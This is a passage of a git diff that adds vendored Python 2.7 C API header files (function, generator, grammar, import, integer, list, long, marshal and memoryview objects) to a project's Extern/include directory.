*) PyFunction_GetCode(PyObject *); +PyAPI_FUNC(PyObject *) PyFunction_GetGlobals(PyObject *); +PyAPI_FUNC(PyObject *) PyFunction_GetModule(PyObject *); +PyAPI_FUNC(PyObject *) PyFunction_GetDefaults(PyObject *); +PyAPI_FUNC(int) PyFunction_SetDefaults(PyObject *, PyObject *); +PyAPI_FUNC(PyObject *) PyFunction_GetClosure(PyObject *); +PyAPI_FUNC(int) PyFunction_SetClosure(PyObject *, PyObject *); + +/* Macros for direct access to these values. Type checks are *not* + done, so use with care. */ +#define PyFunction_GET_CODE(func) \ + (((PyFunctionObject *)func) -> func_code) +#define PyFunction_GET_GLOBALS(func) \ + (((PyFunctionObject *)func) -> func_globals) +#define PyFunction_GET_MODULE(func) \ + (((PyFunctionObject *)func) -> func_module) +#define PyFunction_GET_DEFAULTS(func) \ + (((PyFunctionObject *)func) -> func_defaults) +#define PyFunction_GET_CLOSURE(func) \ + (((PyFunctionObject *)func) -> func_closure) + +/* The classmethod and staticmethod types lives here, too */ +PyAPI_DATA(PyTypeObject) PyClassMethod_Type; +PyAPI_DATA(PyTypeObject) PyStaticMethod_Type; + +PyAPI_FUNC(PyObject *) PyClassMethod_New(PyObject *); +PyAPI_FUNC(PyObject *) PyStaticMethod_New(PyObject *); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_FUNCOBJECT_H */ diff --git a/Extern/include/Python27/genobject.h b/Extern/include/Python27/genobject.h new file mode 100644 index 0000000..135561b --- /dev/null +++ b/Extern/include/Python27/genobject.h @@ -0,0 +1,40 @@ + +/* Generator object interface */ + +#ifndef Py_GENOBJECT_H +#define Py_GENOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +struct _frame; /* Avoid including frameobject.h */ + +typedef struct { + PyObject_HEAD + /* The gi_ prefix is intended to remind of generator-iterator. */ + + /* Note: gi_frame can be NULL if the generator is "finished" */ + struct _frame *gi_frame; + + /* True if generator is being executed. */ + int gi_running; + + /* The code object backing the generator */ + PyObject *gi_code; + + /* List of weak reference. */ + PyObject *gi_weakreflist; +} PyGenObject; + +PyAPI_DATA(PyTypeObject) PyGen_Type; + +#define PyGen_Check(op) PyObject_TypeCheck(op, &PyGen_Type) +#define PyGen_CheckExact(op) (Py_TYPE(op) == &PyGen_Type) + +PyAPI_FUNC(PyObject *) PyGen_New(struct _frame *); +PyAPI_FUNC(int) PyGen_NeedsFinalizing(PyGenObject *); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_GENOBJECT_H */ diff --git a/Extern/include/Python27/graminit.h b/Extern/include/Python27/graminit.h new file mode 100644 index 0000000..ce597d9 --- /dev/null +++ b/Extern/include/Python27/graminit.h @@ -0,0 +1,88 @@ +/* Generated by Parser/pgen */ + +#define single_input 256 +#define file_input 257 +#define eval_input 258 +#define decorator 259 +#define decorators 260 +#define decorated 261 +#define funcdef 262 +#define parameters 263 +#define varargslist 264 +#define fpdef 265 +#define fplist 266 +#define stmt 267 +#define simple_stmt 268 +#define small_stmt 269 +#define expr_stmt 270 +#define augassign 271 +#define print_stmt 272 +#define del_stmt 273 +#define pass_stmt 274 +#define flow_stmt 275 +#define break_stmt 276 +#define continue_stmt 277 +#define return_stmt 278 +#define yield_stmt 279 +#define raise_stmt 280 +#define import_stmt 281 +#define import_name 282 +#define import_from 283 +#define import_as_name 284 +#define dotted_as_name 285 +#define import_as_names 286 +#define dotted_as_names 287 +#define dotted_name 288 +#define global_stmt 289 +#define exec_stmt 290 +#define assert_stmt 291 +#define compound_stmt 292 +#define if_stmt 293 +#define while_stmt 294 +#define for_stmt 295 +#define try_stmt 296 +#define with_stmt 297 +#define with_item 298 +#define except_clause 299 +#define suite 300 +#define testlist_safe 301 +#define old_test 302 +#define old_lambdef 303 +#define test 304 +#define or_test 305 +#define and_test 306 +#define not_test 307 +#define comparison 308 +#define comp_op 309 +#define expr 310 +#define xor_expr 311 +#define and_expr 312 +#define shift_expr 313 +#define arith_expr 314 +#define term 315 +#define factor 316 +#define power 317 +#define atom 318 +#define listmaker 319 +#define testlist_comp 320 +#define lambdef 321 +#define trailer 322 +#define subscriptlist 323 +#define subscript 324 +#define sliceop 325 +#define exprlist 326 +#define testlist 327 +#define dictmaker 328 +#define dictorsetmaker 329 +#define classdef 330 +#define arglist 331 +#define argument 332 +#define list_iter 333 +#define list_for 334 +#define list_if 335 +#define comp_iter 336 +#define comp_for 337 +#define comp_if 338 +#define testlist1 339 +#define encoding_decl 340 +#define yield_expr 341 diff --git a/Extern/include/Python27/grammar.h b/Extern/include/Python27/grammar.h new file mode 100644 index 0000000..8426da3 --- /dev/null +++ b/Extern/include/Python27/grammar.h @@ -0,0 +1,93 @@ + +/* Grammar interface */ + +#ifndef Py_GRAMMAR_H +#define Py_GRAMMAR_H +#ifdef __cplusplus +extern "C" { +#endif + +#include "bitset.h" /* Sigh... */ + +/* A label of an arc */ + +typedef struct { + int lb_type; + char *lb_str; +} label; + +#define EMPTY 0 /* Label number 0 is by definition the empty label */ + +/* A list of labels */ + +typedef struct { + int ll_nlabels; + label *ll_label; +} labellist; + +/* An arc from one state to another */ + +typedef struct { + short a_lbl; /* Label of this arc */ + short a_arrow; /* State where this arc goes to */ +} arc; + +/* A state in a DFA */ + +typedef struct { + int s_narcs; + arc *s_arc; /* Array of arcs */ + + /* Optional accelerators */ + int s_lower; /* Lowest label index */ + int s_upper; /* Highest label index */ + int *s_accel; /* Accelerator */ + int s_accept; /* Nonzero for accepting state */ +} state; + +/* A DFA */ + +typedef struct { + int d_type; /* Non-terminal this represents */ + char *d_name; /* For printing */ + int d_initial; /* Initial state */ + int d_nstates; + state *d_state; /* Array of states */ + bitset d_first; +} dfa; + +/* A grammar */ + +typedef struct { + int g_ndfas; + dfa *g_dfa; /* Array of DFAs */ + labellist g_ll; + int g_start; /* Start symbol of the grammar */ + int g_accel; /* Set if accelerators present */ +} grammar; + +/* FUNCTIONS */ + +grammar *newgrammar(int start); +dfa *adddfa(grammar *g, int type, char *name); +int addstate(dfa *d); +void addarc(dfa *d, int from, int to, int lbl); +dfa *PyGrammar_FindDFA(grammar *g, int type); + +int addlabel(labellist *ll, int type, char *str); +int findlabel(labellist *ll, int type, char *str); +char *PyGrammar_LabelRepr(label *lb); +void translatelabels(grammar *g); + +void addfirstsets(grammar *g); + +void PyGrammar_AddAccelerators(grammar *g); +void PyGrammar_RemoveAccelerators(grammar *); + +void printgrammar(grammar *g, FILE *fp); +void printnonterminals(grammar *g, FILE *fp); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_GRAMMAR_H */ diff --git a/Extern/include/Python27/import.h b/Extern/include/Python27/import.h new file mode 100644 index 0000000..1b7fe0a --- /dev/null +++ b/Extern/include/Python27/import.h @@ -0,0 +1,71 @@ + +/* Module definition and import interface */ + +#ifndef Py_IMPORT_H +#define Py_IMPORT_H +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_FUNC(long) PyImport_GetMagicNumber(void); +PyAPI_FUNC(PyObject *) PyImport_ExecCodeModule(char *name, PyObject *co); +PyAPI_FUNC(PyObject *) PyImport_ExecCodeModuleEx( + char *name, PyObject *co, char *pathname); +PyAPI_FUNC(PyObject *) PyImport_GetModuleDict(void); +PyAPI_FUNC(PyObject *) PyImport_AddModule(const char *name); +PyAPI_FUNC(PyObject *) PyImport_ImportModule(const char *name); +PyAPI_FUNC(PyObject *) PyImport_ImportModuleNoBlock(const char *); +PyAPI_FUNC(PyObject *) PyImport_ImportModuleLevel(char *name, + PyObject *globals, PyObject *locals, PyObject *fromlist, int level); + +#define PyImport_ImportModuleEx(n, g, l, f) \ + PyImport_ImportModuleLevel(n, g, l, f, -1) + +PyAPI_FUNC(PyObject *) PyImport_GetImporter(PyObject *path); +PyAPI_FUNC(PyObject *) PyImport_Import(PyObject *name); +PyAPI_FUNC(PyObject *) PyImport_ReloadModule(PyObject *m); +PyAPI_FUNC(void) PyImport_Cleanup(void); +PyAPI_FUNC(int) PyImport_ImportFrozenModule(char *); + +#ifdef WITH_THREAD +PyAPI_FUNC(void) _PyImport_AcquireLock(void); +PyAPI_FUNC(int) _PyImport_ReleaseLock(void); +#else +#define _PyImport_AcquireLock() +#define _PyImport_ReleaseLock() 1 +#endif + +PyAPI_FUNC(struct filedescr *) _PyImport_FindModule( + const char *, PyObject *, char *, size_t, FILE **, PyObject **); +PyAPI_FUNC(int) _PyImport_IsScript(struct filedescr *); +PyAPI_FUNC(void) _PyImport_ReInitLock(void); + +PyAPI_FUNC(PyObject *)_PyImport_FindExtension(char *, char *); +PyAPI_FUNC(PyObject *)_PyImport_FixupExtension(char *, char *); + +struct _inittab { + char *name; + void (*initfunc)(void); +}; + +PyAPI_DATA(PyTypeObject) PyNullImporter_Type; +PyAPI_DATA(struct _inittab *) PyImport_Inittab; + +PyAPI_FUNC(int) PyImport_AppendInittab(const char *name, void (*initfunc)(void)); +PyAPI_FUNC(int) PyImport_ExtendInittab(struct _inittab *newtab); + +struct _frozen { + char *name; + unsigned char *code; + int size; +}; + +/* Embedding apps may change this pointer to point to their favorite + collection of frozen modules: */ + +PyAPI_DATA(struct _frozen *) PyImport_FrozenModules; + +#ifdef __cplusplus +} +#endif +#endif /* !Py_IMPORT_H */ diff --git a/Extern/include/Python27/intobject.h b/Extern/include/Python27/intobject.h new file mode 100644 index 0000000..78746a6 --- /dev/null +++ b/Extern/include/Python27/intobject.h @@ -0,0 +1,80 @@ + +/* Integer object interface */ + +/* +PyIntObject represents a (long) integer. This is an immutable object; +an integer cannot change its value after creation. + +There are functions to create new integer objects, to test an object +for integer-ness, and to get the integer value. The latter functions +returns -1 and sets errno to EBADF if the object is not an PyIntObject. +None of the functions should be applied to nil objects. + +The type PyIntObject is (unfortunately) exposed here so we can declare +_Py_TrueStruct and _Py_ZeroStruct in boolobject.h; don't use this. +*/ + +#ifndef Py_INTOBJECT_H +#define Py_INTOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + PyObject_HEAD + long ob_ival; +} PyIntObject; + +PyAPI_DATA(PyTypeObject) PyInt_Type; + +#define PyInt_Check(op) \ + PyType_FastSubclass((op)->ob_type, Py_TPFLAGS_INT_SUBCLASS) +#define PyInt_CheckExact(op) ((op)->ob_type == &PyInt_Type) + +PyAPI_FUNC(PyObject *) PyInt_FromString(char*, char**, int); +#ifdef Py_USING_UNICODE +PyAPI_FUNC(PyObject *) PyInt_FromUnicode(Py_UNICODE*, Py_ssize_t, int); +#endif +PyAPI_FUNC(PyObject *) PyInt_FromLong(long); +PyAPI_FUNC(PyObject *) PyInt_FromSize_t(size_t); +PyAPI_FUNC(PyObject *) PyInt_FromSsize_t(Py_ssize_t); +PyAPI_FUNC(long) PyInt_AsLong(PyObject *); +PyAPI_FUNC(Py_ssize_t) PyInt_AsSsize_t(PyObject *); +PyAPI_FUNC(unsigned long) PyInt_AsUnsignedLongMask(PyObject *); +#ifdef HAVE_LONG_LONG +PyAPI_FUNC(unsigned PY_LONG_LONG) PyInt_AsUnsignedLongLongMask(PyObject *); +#endif + +PyAPI_FUNC(long) PyInt_GetMax(void); + +/* Macro, trading safety for speed */ +#define PyInt_AS_LONG(op) (((PyIntObject *)(op))->ob_ival) + +/* These aren't really part of the Int object, but they're handy; the protos + * are necessary for systems that need the magic of PyAPI_FUNC and that want + * to have stropmodule as a dynamically loaded module instead of building it + * into the main Python shared library/DLL. Guido thinks I'm weird for + * building it this way. :-) [cjh] + */ +PyAPI_FUNC(unsigned long) PyOS_strtoul(char *, char **, int); +PyAPI_FUNC(long) PyOS_strtol(char *, char **, int); + +/* free list api */ +PyAPI_FUNC(int) PyInt_ClearFreeList(void); + +/* Convert an integer to the given base. Returns a string. + If base is 2, 8 or 16, add the proper prefix '0b', '0o' or '0x'. + If newstyle is zero, then use the pre-2.6 behavior of octal having + a leading "0" */ +PyAPI_FUNC(PyObject*) _PyInt_Format(PyIntObject* v, int base, int newstyle); + +/* Format the object based on the format_spec, as defined in PEP 3101 + (Advanced String Formatting). */ +PyAPI_FUNC(PyObject *) _PyInt_FormatAdvanced(PyObject *obj, + char *format_spec, + Py_ssize_t format_spec_len); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_INTOBJECT_H */ diff --git a/Extern/include/Python27/intrcheck.h b/Extern/include/Python27/intrcheck.h new file mode 100644 index 0000000..3b67ed0 --- /dev/null +++ b/Extern/include/Python27/intrcheck.h @@ -0,0 +1,15 @@ + +#ifndef Py_INTRCHECK_H +#define Py_INTRCHECK_H +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_FUNC(int) PyOS_InterruptOccurred(void); +PyAPI_FUNC(void) PyOS_InitInterrupts(void); +PyAPI_FUNC(void) PyOS_AfterFork(void); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_INTRCHECK_H */ diff --git a/Extern/include/Python27/iterobject.h b/Extern/include/Python27/iterobject.h new file mode 100644 index 0000000..4bd19c2 --- /dev/null +++ b/Extern/include/Python27/iterobject.h @@ -0,0 +1,23 @@ +#ifndef Py_ITEROBJECT_H +#define Py_ITEROBJECT_H +/* Iterators (the basic kind, over a sequence) */ +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_DATA(PyTypeObject) PySeqIter_Type; + +#define PySeqIter_Check(op) (Py_TYPE(op) == &PySeqIter_Type) + +PyAPI_FUNC(PyObject *) PySeqIter_New(PyObject *); + +PyAPI_DATA(PyTypeObject) PyCallIter_Type; + +#define PyCallIter_Check(op) (Py_TYPE(op) == &PyCallIter_Type) + +PyAPI_FUNC(PyObject *) PyCallIter_New(PyObject *, PyObject *); +#ifdef __cplusplus +} +#endif +#endif /* !Py_ITEROBJECT_H */ + diff --git a/Extern/include/Python27/listobject.h b/Extern/include/Python27/listobject.h new file mode 100644 index 0000000..c445873 --- /dev/null +++ b/Extern/include/Python27/listobject.h @@ -0,0 +1,68 @@ + +/* List object interface */ + +/* +Another generally useful object type is an list of object pointers. +This is a mutable type: the list items can be changed, and items can be +added or removed. Out-of-range indices or non-list objects are ignored. + +*** WARNING *** PyList_SetItem does not increment the new item's reference +count, but does decrement the reference count of the item it replaces, +if not nil. It does *decrement* the reference count if it is *not* +inserted in the list. Similarly, PyList_GetItem does not increment the +returned item's reference count. +*/ + +#ifndef Py_LISTOBJECT_H +#define Py_LISTOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct { + PyObject_VAR_HEAD + /* Vector of pointers to list elements. list[0] is ob_item[0], etc. */ + PyObject **ob_item; + + /* ob_item contains space for 'allocated' elements. The number + * currently in use is ob_size. + * Invariants: + * 0 <= ob_size <= allocated + * len(list) == ob_size + * ob_item == NULL implies ob_size == allocated == 0 + * list.sort() temporarily sets allocated to -1 to detect mutations. + * + * Items must normally not be NULL, except during construction when + * the list is not yet visible outside the function that builds it. + */ + Py_ssize_t allocated; +} PyListObject; + +PyAPI_DATA(PyTypeObject) PyList_Type; + +#define PyList_Check(op) \ + PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_LIST_SUBCLASS) +#define PyList_CheckExact(op) (Py_TYPE(op) == &PyList_Type) + +PyAPI_FUNC(PyObject *) PyList_New(Py_ssize_t size); +PyAPI_FUNC(Py_ssize_t) PyList_Size(PyObject *); +PyAPI_FUNC(PyObject *) PyList_GetItem(PyObject *, Py_ssize_t); +PyAPI_FUNC(int) PyList_SetItem(PyObject *, Py_ssize_t, PyObject *); +PyAPI_FUNC(int) PyList_Insert(PyObject *, Py_ssize_t, PyObject *); +PyAPI_FUNC(int) PyList_Append(PyObject *, PyObject *); +PyAPI_FUNC(PyObject *) PyList_GetSlice(PyObject *, Py_ssize_t, Py_ssize_t); +PyAPI_FUNC(int) PyList_SetSlice(PyObject *, Py_ssize_t, Py_ssize_t, PyObject *); +PyAPI_FUNC(int) PyList_Sort(PyObject *); +PyAPI_FUNC(int) PyList_Reverse(PyObject *); +PyAPI_FUNC(PyObject *) PyList_AsTuple(PyObject *); +PyAPI_FUNC(PyObject *) _PyList_Extend(PyListObject *, PyObject *); + +/* Macro, trading safety for speed */ +#define PyList_GET_ITEM(op, i) (((PyListObject *)(op))->ob_item[i]) +#define PyList_SET_ITEM(op, i, v) (((PyListObject *)(op))->ob_item[i] = (v)) +#define PyList_GET_SIZE(op) Py_SIZE(op) + +#ifdef __cplusplus +} +#endif +#endif /* !Py_LISTOBJECT_H */ diff --git a/Extern/include/Python27/longintrepr.h b/Extern/include/Python27/longintrepr.h new file mode 100644 index 0000000..6425c30 --- /dev/null +++ b/Extern/include/Python27/longintrepr.h @@ -0,0 +1,103 @@ +#ifndef Py_LONGINTREPR_H +#define Py_LONGINTREPR_H +#ifdef __cplusplus +extern "C" { +#endif + + +/* This is published for the benefit of "friend" marshal.c only. */ + +/* Parameters of the long integer representation. There are two different + sets of parameters: one set for 30-bit digits, stored in an unsigned 32-bit + integer type, and one set for 15-bit digits with each digit stored in an + unsigned short. The value of PYLONG_BITS_IN_DIGIT, defined either at + configure time or in pyport.h, is used to decide which digit size to use. + + Type 'digit' should be able to hold 2*PyLong_BASE-1, and type 'twodigits' + should be an unsigned integer type able to hold all integers up to + PyLong_BASE*PyLong_BASE-1. x_sub assumes that 'digit' is an unsigned type, + and that overflow is handled by taking the result modulo 2**N for some N > + PyLong_SHIFT. The majority of the code doesn't care about the precise + value of PyLong_SHIFT, but there are some notable exceptions: + + - long_pow() requires that PyLong_SHIFT be divisible by 5 + + - PyLong_{As,From}ByteArray require that PyLong_SHIFT be at least 8 + + - long_hash() requires that PyLong_SHIFT is *strictly* less than the number + of bits in an unsigned long, as do the PyLong <-> long (or unsigned long) + conversion functions + + - the long <-> size_t/Py_ssize_t conversion functions expect that + PyLong_SHIFT is strictly less than the number of bits in a size_t + + - the marshal code currently expects that PyLong_SHIFT is a multiple of 15 + + The values 15 and 30 should fit all of the above requirements, on any + platform. +*/ + +#if PYLONG_BITS_IN_DIGIT == 30 +#if !(defined HAVE_UINT64_T && defined HAVE_UINT32_T && \ + defined HAVE_INT64_T && defined HAVE_INT32_T) +#error "30-bit long digits requested, but the necessary types are not available on this platform" +#endif +typedef PY_UINT32_T digit; +typedef PY_INT32_T sdigit; /* signed variant of digit */ +typedef PY_UINT64_T twodigits; +typedef PY_INT64_T stwodigits; /* signed variant of twodigits */ +#define PyLong_SHIFT 30 +#define _PyLong_DECIMAL_SHIFT 9 /* max(e such that 10**e fits in a digit) */ +#define _PyLong_DECIMAL_BASE ((digit)1000000000) /* 10 ** DECIMAL_SHIFT */ +#elif PYLONG_BITS_IN_DIGIT == 15 +typedef unsigned short digit; +typedef short sdigit; /* signed variant of digit */ +typedef unsigned long twodigits; +typedef long stwodigits; /* signed variant of twodigits */ +#define PyLong_SHIFT 15 +#define _PyLong_DECIMAL_SHIFT 4 /* max(e such that 10**e fits in a digit) */ +#define _PyLong_DECIMAL_BASE ((digit)10000) /* 10 ** DECIMAL_SHIFT */ +#else +#error "PYLONG_BITS_IN_DIGIT should be 15 or 30" +#endif +#define PyLong_BASE ((digit)1 << PyLong_SHIFT) +#define PyLong_MASK ((digit)(PyLong_BASE - 1)) + +/* b/w compatibility with Python 2.5 */ +#define SHIFT PyLong_SHIFT +#define BASE PyLong_BASE +#define MASK PyLong_MASK + +#if PyLong_SHIFT % 5 != 0 +#error "longobject.c requires that PyLong_SHIFT be divisible by 5" +#endif + +/* Long integer representation. + The absolute value of a number is equal to + SUM(for i=0 through abs(ob_size)-1) ob_digit[i] * 2**(SHIFT*i) + Negative numbers are represented with ob_size < 0; + zero is represented by ob_size == 0. + In a normalized number, ob_digit[abs(ob_size)-1] (the most significant + digit) is never zero. Also, in all cases, for all valid i, + 0 <= ob_digit[i] <= MASK. + The allocation function takes care of allocating extra memory + so that ob_digit[0] ... ob_digit[abs(ob_size)-1] are actually available. + + CAUTION: Generic code manipulating subtypes of PyVarObject has to + aware that longs abuse ob_size's sign bit. +*/ + +struct _longobject { + PyObject_VAR_HEAD + digit ob_digit[1]; +}; + +PyAPI_FUNC(PyLongObject *) _PyLong_New(Py_ssize_t); + +/* Return a copy of src. */ +PyAPI_FUNC(PyObject *) _PyLong_Copy(PyLongObject *src); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_LONGINTREPR_H */ diff --git a/Extern/include/Python27/longobject.h b/Extern/include/Python27/longobject.h new file mode 100644 index 0000000..2b40461 --- /dev/null +++ b/Extern/include/Python27/longobject.h @@ -0,0 +1,134 @@ +#ifndef Py_LONGOBJECT_H +#define Py_LONGOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + + +/* Long (arbitrary precision) integer object interface */ + +typedef struct _longobject PyLongObject; /* Revealed in longintrepr.h */ + +PyAPI_DATA(PyTypeObject) PyLong_Type; + +#define PyLong_Check(op) \ + PyType_FastSubclass(Py_TYPE(op), Py_TPFLAGS_LONG_SUBCLASS) +#define PyLong_CheckExact(op) (Py_TYPE(op) == &PyLong_Type) + +PyAPI_FUNC(PyObject *) PyLong_FromLong(long); +PyAPI_FUNC(PyObject *) PyLong_FromUnsignedLong(unsigned long); +PyAPI_FUNC(PyObject *) PyLong_FromDouble(double); +PyAPI_FUNC(PyObject *) PyLong_FromSize_t(size_t); +PyAPI_FUNC(PyObject *) PyLong_FromSsize_t(Py_ssize_t); +PyAPI_FUNC(long) PyLong_AsLong(PyObject *); +PyAPI_FUNC(long) PyLong_AsLongAndOverflow(PyObject *, int *); +PyAPI_FUNC(unsigned long) PyLong_AsUnsignedLong(PyObject *); +PyAPI_FUNC(unsigned long) PyLong_AsUnsignedLongMask(PyObject *); +PyAPI_FUNC(Py_ssize_t) PyLong_AsSsize_t(PyObject *); +PyAPI_FUNC(PyObject *) PyLong_GetInfo(void); + +/* For use by intobject.c only */ +#define _PyLong_AsSsize_t PyLong_AsSsize_t +#define _PyLong_FromSize_t PyLong_FromSize_t +#define _PyLong_FromSsize_t PyLong_FromSsize_t +PyAPI_DATA(int) _PyLong_DigitValue[256]; + +/* _PyLong_Frexp returns a double x and an exponent e such that the + true value is approximately equal to x * 2**e. e is >= 0. x is + 0.0 if and only if the input is 0 (in which case, e and x are both + zeroes); otherwise, 0.5 <= abs(x) < 1.0. On overflow, which is + possible if the number of bits doesn't fit into a Py_ssize_t, sets + OverflowError and returns -1.0 for x, 0 for e. */ +PyAPI_FUNC(double) _PyLong_Frexp(PyLongObject *a, Py_ssize_t *e); + +PyAPI_FUNC(double) PyLong_AsDouble(PyObject *); +PyAPI_FUNC(PyObject *) PyLong_FromVoidPtr(void *); +PyAPI_FUNC(void *) PyLong_AsVoidPtr(PyObject *); + +#ifdef HAVE_LONG_LONG +PyAPI_FUNC(PyObject *) PyLong_FromLongLong(PY_LONG_LONG); +PyAPI_FUNC(PyObject *) PyLong_FromUnsignedLongLong(unsigned PY_LONG_LONG); +PyAPI_FUNC(PY_LONG_LONG) PyLong_AsLongLong(PyObject *); +PyAPI_FUNC(unsigned PY_LONG_LONG) PyLong_AsUnsignedLongLong(PyObject *); +PyAPI_FUNC(unsigned PY_LONG_LONG) PyLong_AsUnsignedLongLongMask(PyObject *); +PyAPI_FUNC(PY_LONG_LONG) PyLong_AsLongLongAndOverflow(PyObject *, int *); +#endif /* HAVE_LONG_LONG */ + +PyAPI_FUNC(PyObject *) PyLong_FromString(char *, char **, int); +#ifdef Py_USING_UNICODE +PyAPI_FUNC(PyObject *) PyLong_FromUnicode(Py_UNICODE*, Py_ssize_t, int); +#endif + +/* _PyLong_Sign. Return 0 if v is 0, -1 if v < 0, +1 if v > 0. + v must not be NULL, and must be a normalized long. + There are no error cases. +*/ +PyAPI_FUNC(int) _PyLong_Sign(PyObject *v); + + +/* _PyLong_NumBits. Return the number of bits needed to represent the + absolute value of a long. For example, this returns 1 for 1 and -1, 2 + for 2 and -2, and 2 for 3 and -3. It returns 0 for 0. + v must not be NULL, and must be a normalized long. + (size_t)-1 is returned and OverflowError set if the true result doesn't + fit in a size_t. +*/ +PyAPI_FUNC(size_t) _PyLong_NumBits(PyObject *v); + +/* _PyLong_FromByteArray: View the n unsigned bytes as a binary integer in + base 256, and return a Python long with the same numeric value. + If n is 0, the integer is 0. Else: + If little_endian is 1/true, bytes[n-1] is the MSB and bytes[0] the LSB; + else (little_endian is 0/false) bytes[0] is the MSB and bytes[n-1] the + LSB. + If is_signed is 0/false, view the bytes as a non-negative integer. + If is_signed is 1/true, view the bytes as a 2's-complement integer, + non-negative if bit 0x80 of the MSB is clear, negative if set. + Error returns: + + Return NULL with the appropriate exception set if there's not + enough memory to create the Python long. +*/ +PyAPI_FUNC(PyObject *) _PyLong_FromByteArray( + const unsigned char* bytes, size_t n, + int little_endian, int is_signed); + +/* _PyLong_AsByteArray: Convert the least-significant 8*n bits of long + v to a base-256 integer, stored in array bytes. Normally return 0, + return -1 on error. + If little_endian is 1/true, store the MSB at bytes[n-1] and the LSB at + bytes[0]; else (little_endian is 0/false) store the MSB at bytes[0] and + the LSB at bytes[n-1]. + If is_signed is 0/false, it's an error if v < 0; else (v >= 0) n bytes + are filled and there's nothing special about bit 0x80 of the MSB. + If is_signed is 1/true, bytes is filled with the 2's-complement + representation of v's value. Bit 0x80 of the MSB is the sign bit. + Error returns (-1): + + is_signed is 0 and v < 0. TypeError is set in this case, and bytes + isn't altered. + + n isn't big enough to hold the full mathematical value of v. For + example, if is_signed is 0 and there are more digits in the v than + fit in n; or if is_signed is 1, v < 0, and n is just 1 bit shy of + being large enough to hold a sign bit. OverflowError is set in this + case, but bytes holds the least-signficant n bytes of the true value. +*/ +PyAPI_FUNC(int) _PyLong_AsByteArray(PyLongObject* v, + unsigned char* bytes, size_t n, + int little_endian, int is_signed); + +/* _PyLong_Format: Convert the long to a string object with given base, + appending a base prefix of 0[box] if base is 2, 8 or 16. + Add a trailing "L" if addL is non-zero. + If newstyle is zero, then use the pre-2.6 behavior of octal having + a leading "0", instead of the prefix "0o" */ +PyAPI_FUNC(PyObject *) _PyLong_Format(PyObject *aa, int base, int addL, int newstyle); + +/* Format the object based on the format_spec, as defined in PEP 3101 + (Advanced String Formatting). */ +PyAPI_FUNC(PyObject *) _PyLong_FormatAdvanced(PyObject *obj, + char *format_spec, + Py_ssize_t format_spec_len); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_LONGOBJECT_H */ diff --git a/Extern/include/Python27/marshal.h b/Extern/include/Python27/marshal.h new file mode 100644 index 0000000..411fdca --- /dev/null +++ b/Extern/include/Python27/marshal.h @@ -0,0 +1,25 @@ + +/* Interface for marshal.c */ + +#ifndef Py_MARSHAL_H +#define Py_MARSHAL_H +#ifdef __cplusplus +extern "C" { +#endif + +#define Py_MARSHAL_VERSION 2 + +PyAPI_FUNC(void) PyMarshal_WriteLongToFile(long, FILE *, int); +PyAPI_FUNC(void) PyMarshal_WriteObjectToFile(PyObject *, FILE *, int); +PyAPI_FUNC(PyObject *) PyMarshal_WriteObjectToString(PyObject *, int); + +PyAPI_FUNC(long) PyMarshal_ReadLongFromFile(FILE *); +PyAPI_FUNC(int) PyMarshal_ReadShortFromFile(FILE *); +PyAPI_FUNC(PyObject *) PyMarshal_ReadObjectFromFile(FILE *); +PyAPI_FUNC(PyObject *) PyMarshal_ReadLastObjectFromFile(FILE *); +PyAPI_FUNC(PyObject *) PyMarshal_ReadObjectFromString(char *, Py_ssize_t); + +#ifdef __cplusplus +} +#endif +#endif /* !Py_MARSHAL_H */ diff --git a/Extern/include/Python27/memoryobject.h b/Extern/include/Python27/memoryobject.h new file mode 100644 index 0000000..bf0b621 --- /dev/null +++ b/Extern/include/Python27/memoryobject.h @@ -0,0 +1,74 @@ +/* Memory view object. In Python this is available as "memoryview". */ + +#ifndef Py_MEMORYOBJECT_H +#define Py_MEMORYOBJECT_H +#ifdef __cplusplus +extern "C" { +#endif + +PyAPI_DATA(PyTypeObject) PyMemoryView_Type; + +#define PyMemoryView_Check(op) (Py_TYPE(op) == &PyMemoryView_Type) + +/* Get a pointer to the underlying Py_buffer of a memoryview object. */ +#define PyMemoryView_GET_BUFFER(op) (&((PyMemoryViewObject *)(op))->view) +/* Get a pointer to the PyObject from which originates a memoryview object. */ +#define PyMemoryView_GET_BASE(op) (((PyMemoryViewObject *)(op))->view.obj) + + +PyAPI_FUNC(PyObject *) PyMemoryView_GetContiguous(PyObject *base, + int buffertype, + char fort); + + /* Return a contiguous chunk of memory representing the buffer + from an object in a memory view object. If a copy is made then the + base object for the memory view will be a *new* bytes object. + + Otherwise, the base-object will be the object itself and no + data-copying will be done. + + The buffertype argument can be PyBUF_READ, PyBUF_WRITE, + PyBUF_SHADOW to determine whether the returned buffer + should be READONLY, WRITABLE, or set to update the + original buffer if a copy must be made. If buffertype is + PyBUF_WRITE and the buffer is not contiguous an error will + be raised. In this circumstance, the user can use + PyBUF_SHADOW to ensure that a a writable temporary + contiguous buffer is returned. The contents of this + contiguous buffer will be copied back into the original + object after the memoryview object is deleted as long as + the original object is writable and allows setting an + exclusive write lock. If this is not allowed by the + original object, then a BufferError is raised. + + If the object is multi-dimensional and if fortran is 'F', + the first dimension of the underlying array will vary the + fastest in the buffer. If fortran is 'C', then the last + dimension will vary the fastest (C-style contiguous). If + fortran is 'A', then it does not matter and you will get + whatever the object decides is more efficient. + + A new reference is returned that must be DECREF'd when finished. + */ + +PyAPI_FUNC(PyObject *) PyMemoryView_FromObject(PyObject *base); + +PyAPI_FUNC(PyObject *) PyMemoryView_FromBuffer(Py_buffer *info); + /* create new if bufptr is NULL + will be a new bytesobject in base */ + + +/* The struct is declared here so that macros can work, but it shouldn't + be considered public. Don't access those fields directly, use the macros + and functions instead! */ +typedef struct { + PyObject_HEAD + PyObject *base; + Py_buffer view; +} PyMemoryViewObject; + + +#ifdef __cplusplus +} +#endif +#endif /* !Py_MEMORYOBJECT_H */ diff --git 